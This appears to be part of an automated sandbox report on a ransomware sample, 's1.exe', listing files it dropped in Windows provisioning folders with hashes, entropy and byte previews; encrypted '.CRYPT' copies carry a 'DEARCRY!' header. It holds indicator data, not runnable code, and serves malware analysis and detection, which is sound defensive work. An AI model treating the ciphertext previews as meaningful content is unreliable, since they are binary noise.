                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):744
                                                              Entropy (8bit):7.683162069767346
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:98979FED24A870963E2157346A6D840F
                                                              SHA1:BC62A5FC64C1301669B86A7A227D2E64A4439FE4
                                                              SHA-256:19F2EEE60C069303011B0893B58871D8FE5049B71F11807D923D310D91D02436
                                                              SHA-512:179F7B59796CADE4B923BFDE66A7304A864678EE72ADCEBFE646C8754E165591F19F6433750651C0DCCAE569A9CDAB96E8137282FA9A77FDD37F1576E55F4D38
                                                              Malicious:false
                                                              Preview: DEARCRY!.....G.qU'...4.Iv.$C.)..*^.90..T...)ad.5.):.{)C2...4$.;..8.%...$.7l3..i.L.Q...6v.C....:.!Ku.!.*.1....k..X.!...n;,.b.].RS.8ue.C.b.....@......ml..Y#<.bB.+<.6.VN....!........q....P...yEY....4"..K........x.......|z.lEXD,R..^V..(...h...X.c!...B....7..m2.............g.U.f...."\.q..a);...lO...J......H.C..C...:.#..$..J..>.v.F..!.m.-..Ng.......I.?H`..V-..ga....5...9.L4=...U....h.-$.)..S.e..O.;...|.-.svX..v~.d..\G...]. ...B>&...3...143.{../.[....Xp.GZ.;...!.e.t.;Pd.._...e..eIE".i..E..E..u..^6.[.D%..`.A....e*...@...7.S...#)..C.......b.n..O.+...b......z ....i..$.0GG:.gh....~+;...i.G..j..nk..e.T..6o..3rg.R.Iv....+U.`tp.g.kY.'`.N.r......s..xb.(.Q.?..O.?-...8.....4Z....h.:...i..t.k.3..o.{r......Zo....;:}...l
                                                              C:\ProgramData\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1842
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:296EB87510306CB24AD20C847B82554C
                                                              SHA1:F8AD1704A3C39107980378BA0FE16FFFB6602EFF
                                                              SHA-256:D36D10CF3546B0D5F297829FB88909953E711A3F01041C37C7E2281496A0B3F8
                                                              SHA-512:1047A1EAFEE7612EACBEBD3F251F85E8F67CD6BAC9F10B4EB376F2A90629B7974F97998C6383D230D335CAF4E213879C497707F68BC658F2E3097E95421CCB41
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2136
                                                              Entropy (8bit):7.915606241942042
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:50DD20760F7E292C08D79F87E9652BE6
                                                              SHA1:8B69F8917C1A2BAE1DC6536A43025680C374AA4B
                                                              SHA-256:FDE23251A0A0BFCBB91E54603C5CE7FA09B1C657F02A3A0FA3EBCC675257ED40
                                                              SHA-512:C6B6A60499072EEDCE8FCAC7C5DFBE1F4E83AF4EA7157A0DB6C8A703B83B24C57B2942B04C2B87DA7A32E4AFC35BEA16E981FE6F9FA62BE60FCC35CF1748FE36
                                                              Malicious:false
                                                              Preview: DEARCRY!....8.#"..0......"I.6./..Su..r...PX#.c..).Vx....>.}...B...._d&.......iJ......R....|} $...T.V.~'[..~V.X.n8.O.*.L.z.1..nt....<X..5r.O.*S..V1V.w.Ou....uK..[.a.../....C....4...C..f.Q.._....FW.......$E(.x..E...............).B....e,..,D..(.4.].FH..p.4....2........Z...7m..vw.......dqC>F38...........D.8.F3.Si....8.,wQpb..Px.1..Y...u.or...8'...n.....bp..3..%.|..I[.Y.........q|....&..].....F///!..'..\Y.w..*.T...S.[B.R`W....o...]...W....'..$S..(...J..:6.S.Y.+.{~U..IWYm.w.|%~.........m..2.e..#...d.1g.....o\..u..J..iQd...$....l..o#.N.5.W....mM4a..f..N..."....\....HtS{tyA2..7O......3...~...K...9....Zr&Q...y...{.dt#gL..4.......D./...%.QL0.%.....[..G( X.y...t......tmj.N^.T?.Ao=.O...y...l`.....D"....(1...k..Z'M........7.Y^...Z...9&~.v=_%..&.Z..9..'w.[..7...eJ.1.0....l`]....p>......5..J`.....d.......).[.F9..$.......... 6....;=7.......u....@..*..s(..A.{.7?...Z.o.||g.a....>...m..w.. ..'uQ.O..Y.......}7g....p...I.8.........G.-o.h......L.e}.h-.y7.N.
                                                              C:\ProgramData\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.564949068767415
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:186D6AB07C44FA20BB7DD73B14994173
                                                              SHA1:29EAB38F22E630F20EA751CD4F4036F332E1CFE5
                                                              SHA-256:701D3FF912BE66825D78BE0C3A03C6C47ECC3FD2D7E15D8CC7C7C51CE8936B2A
                                                              SHA-512:0724E7AE95BA39023F66217E94567BE6715AA7393DB4822291D620868386F284C71AA6EBFB058F1E9C99F5EF7E75845BCD9D6B7E62F0F45C208A64B417AD39C5
                                                              Malicious:false
                                                              Preview: DEARCRY!....U.U.+1/C.r...M.Vc...Z..9.~/^.....w.r.}J...U.......OB.?..m.^.R.m.z...CM.d...^2K,.-....O....o..<....hbO.57...v8...]n......@.Iq..h[.....%.^D.z...?s.7C.1./9+.)..T....Dl.....O#0.51..<)g...0&..,_.U.Z.N$.......v...5...e..(.~....$ms...P.w..\QeO..#z..............n.Bp...G.Ss]0.Cb.k..7....d..B....^ 1A_.........c..HJ......)...J.n.aM...W......J.!....F.m..WE.....C.....hn>.a..H.d...+>.M.w.X.P...].....&[.G...rF\i.8s..a..z.Z...S.sE..<...-X8.T.9..i.\..7R........X.......Gz=...-.:.0......].<...7....2b.q.a..........W.j..w...I
                                                              C:\ProgramData\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):251
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C5B2CC42CAD6BAFE68B2CE48763BF498
                                                              SHA1:7687EA986304DF2B7C64237143E7ECD89B022D3F
                                                              SHA-256:599045BE2B36ED4A06B4C7385889C9855BB5FB6DE4D03F228458A7A7FF650127
                                                              SHA-512:195B5FE7AA2437411CECFA3158D3424624B12E99586BC32CF68305E9703BA89C66B5F3C14A708475C48010781273016C01B554EAB3BECF834D5A99562170ED4A
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):536
                                                              Entropy (8bit):7.52412483813918
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:49ADD98D11D08BD6BD1BCAFAFCA910F8
                                                              SHA1:79425EC25ACBD108636E2E45FA1106DEF90975E2
                                                              SHA-256:32783FC7A020DB79E7E85541328C1E377CC0CEE8BB91E10A0F53F7028C5F5275
                                                              SHA-512:C7E6DF1F08DF85D62E45D07478B4CFAB9EED2E72A2D5752CB6E804493F02A34A6B3D2CF4875CAEA1295CCC361ADB972AC985868A47CEC2DE65DF7679A9F39CED
                                                              Malicious:false
                                                              Preview: DEARCRY!.....0.mv8...I:....4dH..J......p.7\...M..iS+T.M.Rw...KWW.o...b../W.(..|.B.+q...d.j....wv..=.....Q...|..i.[...f?:..5..h~[7e..+.........TF.r......qJ.],3..f.z.....n..C...:.......e..4...i.......x..Y..So..a.U.1.D.4Bvk...d7..Q7(...........?.'...]..p.............h.l.x........Bt....cWL.....UK.ub..W....<b^.C.....8.re.._c2.~........5...C....._..+c.J..'g..d...uaz....1....]...~.P../..n.?.{VUt}O..R.#......FF.X...............*k....]*..,x..Y>..PI6>.F.>.C.D...;..I"u.M.S.5.Ylx.a...m...N..^..Wm....n...\..e.d.
                                                              C:\ProgramData\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2216
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2F84F17D773A681EE722F26D241E4EC5
                                                              SHA1:B3FD858F2EE45EC7E17FB8BCFFA1ABB1ED048400
                                                              SHA-256:ADAC31968DF120ABF5FE7EEBEAB95B4CED9DFA2EBD13BE23F059DED70D3948F3
                                                              SHA-512:48BB7996980C88B80A07AB5996414CA60437F81A5C192CC03F56D233FD6B4D99E3A9F355FA2AAE08E191DFF1CF525175D1C7FD8DDC2B441653014F339C3496F1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2504
                                                              Entropy (8bit):7.921144298156888
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1189A5736902FBF23234A3983042A0A2
                                                              SHA1:403EF3E786E53FA1E1F6B4D03E099E35E1651CB6
                                                              SHA-256:27191B47B9620AE9123DBF71CA7D62C43EFEAA3F4696F47D7D903AB2EFD359BE
                                                              SHA-512:821C35A6088B3C75C3256530B574859AAFDCE1DBF1689A57C213B0FF4D03A54BDE8E393E9DF7FDFD7090473F8AE2598EE553CB99D41FCA9188CD482491C88EAE
                                                              Malicious:false
                                                              Preview: DEARCRY!.....Y.tU..9.Q....V.0.[7t.!.a.HV..$u....-...=....8..&..x.p.(...P.'.[......8kn.../S.+wUS.....c....6J"/Qm.-.L.....}.....&q......A.4g.....U....g.3.l..4...(PF..6.O.?.....2)........Ir....q!.zC.R.../)G.^.>Gm\v..(.Z9.7.J*.....]......%i...*..!./.?.:.`...................ut...n.*z...?|.d.+$.oM...l.~R.1<.~?.. ...........^.a.bV..z..y8\w1..@;.;z0..[+x1`}.j(...R2.......8.I...NaG.u...wXp....no]S.#.9se[Z. .b.q2..Sh.`j...?...>.gv_;"q2o.ci.......c..>~.>..a..g..S....k.I`.......pXE;..w?.X.5..;...#$eJ.5E.9.].w....C.(.P...&.Wjq...n..%*CX..N.N......X.v..]"=_,...;f...m/R?,.y..:'.....1V......&..(..Kz...4BSO.R,a.0..O..e.....HMR]..6..$.f.{."l........].Lfrf....L.....\Ez,.....A.L..Xj.k.......V....Y..Go*C......el....0.0.U....-.p.a.-...LBl .zX4.N.0l...,....V,.x.8*.S....{.y..%..zL.;..kr!.....G.....u........B.\vyigi..m&f..<.X.p])./H.e..p:[.....j.;3aR....0.NR.z..GW1.\.....ICs....b..}..Qv;..x..W". ..-b..\.....jG...q.Q..l..(.o.....(..h.....,..............k.).......
                                                              C:\ProgramData\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.599059134608243
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:124D36D7620C86DB4B8EC0CB741ADE77
                                                              SHA1:048E8A845CEDF725CAA768A6F2193FB1C88B801A
                                                              SHA-256:14671E7AD88BC7C896E79B5710841389C3D1ED7E59E6F951EC8793F73172DF9C
                                                              SHA-512:4B99203B128CBACBFE01BCE2A921959C6F3098C0F8090131B0662B8B6076070C21E98E4258004B68DF8F4A9BBA7C9F7F3C05D03595D49CCC8DFC141C81810C9D
                                                              Malicious:false
                                                              Preview: DEARCRY!....i.;...>.Y..K~3.k..c`..u.1..R.)$..6]>lL.y:}/.%9..-7G8.....i.....~U.,.Bu..._;T.o..{..}..:..1.^.q.h.K..".Z).....<..jM..qh......[..Y,.q..1.P..v-.......!z...d.%S..wo.n....S.........$..G.S...!..'wpF.`.....H...>..z...v.Gkj.gi..q|S7...RJ<RIf.c..'..9R.............(d..HZ..#l..W.@.cW..h2(^2....B...(a.^.5.W.E.cf..h...g.v".5......Djx..ES......r).3MY3.D.J0f.._........D.N.D...U...b..~...|....(..HtZ/c.r.....d1W4>...?..M.;...x...N..t.....T.... ..;.?..Y.k^........_..bDV...-.m....+q..3.|....y..j(....O.{.i..3..../...@2.Vk...n..
                                                              C:\ProgramData\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6623
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5C8E0F3A007E3E14A4164EF64A02E88A
                                                              SHA1:6FCC907500B62A481E01172DFF831B8B043A9155
                                                              SHA-256:5EC735AE9B43F06BC7195C20D97B6E35B449D63B04AE04EED429E624DD4399FE
                                                              SHA-512:F7BB563163E4BC3A24F96E208D110A0B617681A3C45B45A86AB1BC76694EA411CE4BA89F5CA0850FB67154A2F0E02B0408643647B53BF99852C356FF82F3D9CA
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6904
                                                              Entropy (8bit):7.973208204584209
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5606E2ECC4A13527136B1335EEB061A5
                                                              SHA1:BFCEDF0DBF28A178A2C25E2BCCDAB3550AE6DB57
                                                              SHA-256:B6187B8482B341E64994ACD09A1DD60E37E0AA724B144419C46200C8C338BB0A
                                                              SHA-512:E17AEA94B64FFA348C89F8A0FEF25FAF49A00C7D9FF97C905B682A40F96E8EF278BF978D998709EE70F9F778D0FFB8E9C1090276F14FD381E06D95F560D4B784
                                                              Malicious:false
                                                              Preview: DEARCRY!.......{C........g..'.\...i....|.]...Q)..t.I..Fo..i.2....IW];.1O[....30:@..q.[dwU._[..J8S.........D.$.I>....pv...Z.B.w..:...}7..lS@.t..-..*|.4.?u...G>..@...@...........`..s.O...x"...P}/..&.Y..H.5*.m.+.6.9$....G...{.G.........!O............8}..C............]...K....^.l..U.._.V...E.%,..k...6s..........;@...%Xk.V.?..."... ..Y......Sp....Y.....Kn.jn4....Q.jb..}..p.....4*z.edj.. F9.VY....U..9..O..x........v...AHt....}Qe,d....V.L5.....~S..?...p......w....d...Jq`H.2....a].!....>.+/:#.....".;.....8..|..iui...M.>.|8........{uV.G....f....}..\..\e...=.?<.r1C..k.)F6.}1....}.lfR.08...........u.<....h.....dI!.....c.M..z..AO.E.I......"....m.....|1yY..6.uK...Q3Z..Gj..(..o.b......N...RR....b...z...\.g...z....U.O...20h.....{u...N.`&~{$..k"C.5.qV._...||O.....$#.......g6.r>u.@.p/..N....(...P..4% .P....d.bk...V..J.....s...)!.....B#j+jq.,..2..D......._..S..0.Z....(.....6..v.....g.B...Q6..Iv.}........c...._;.'.D....).}...D..3..#.@..1c....+....tf
                                                              C:\ProgramData\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):56498
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:253F37E8CCAC9747BD61E5713E9EC27A
                                                              SHA1:A32DCF6DA676D8B48B625F99AFE08C9B279DC0F6
                                                              SHA-256:7923B7413E3F776EFD0AB12E22BE36CF6E44DAEE77F865122BB8FA0BAF300E40
                                                              SHA-512:70C4D8280D61FD116CD05554E647321E7518009308D9C771F9E52840015334BBD18FE1B80F5874C61E4731ECE40EEADD76737E1AC57EB05BED4FCAF18DF1D370
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):56792
                                                              Entropy (8bit):7.996801857800293
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:306148CD271B57E697C884847DD419E3
                                                              SHA1:8C13A4DAC1AA04C1BCE2D253B92506A2AA90C4A6
                                                              SHA-256:7DD84C6670B149A0BC1C4C0D74BED0A1101725A90D1E6B95FBEFC1B78E586D45
                                                              SHA-512:68A2E0D3E39E7612E2D16DF34DD1FBE0B4D6A6755879F2ECE642ED0993AD6172FBAEDA95E848BAB01A2BFEAC93BA057192ECCD40C64C2E984DEBF00D90DBC882
                                                              Malicious:true
